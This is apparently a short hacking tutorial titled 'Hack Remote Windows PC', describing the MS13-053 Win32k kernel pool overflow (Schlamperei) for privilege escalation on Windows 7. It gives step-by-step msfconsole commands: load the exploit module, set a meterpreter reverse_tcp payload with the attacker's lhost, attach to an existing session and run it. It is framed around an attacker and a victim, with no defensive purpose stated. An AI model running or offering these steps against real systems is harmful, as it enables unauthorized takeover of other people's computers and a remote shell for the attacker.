How To

Hack Remote Windows PC using Windows NT User Message Call Win32k Kernel Pool Overflow (Schlamperei)

This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe, achieving privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome’s sandbox. NOTE: when a meterpreter session started by this exploit exits, winlogin.exe is likely to crash.

Exploit Targets

Windows 7


Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/local/ms13_053_schlamperei

msf exploit (ms13_053_schlamperei)>set payload windows/meterpreter/reverse_tcp

msf exploit (ms13_053_schlamperei)>set lhost (IP of Local Host)

msf exploit (ms13_053_schlamperei)>set session 2

msf exploit (ms13_053_schlamperei)>exploit

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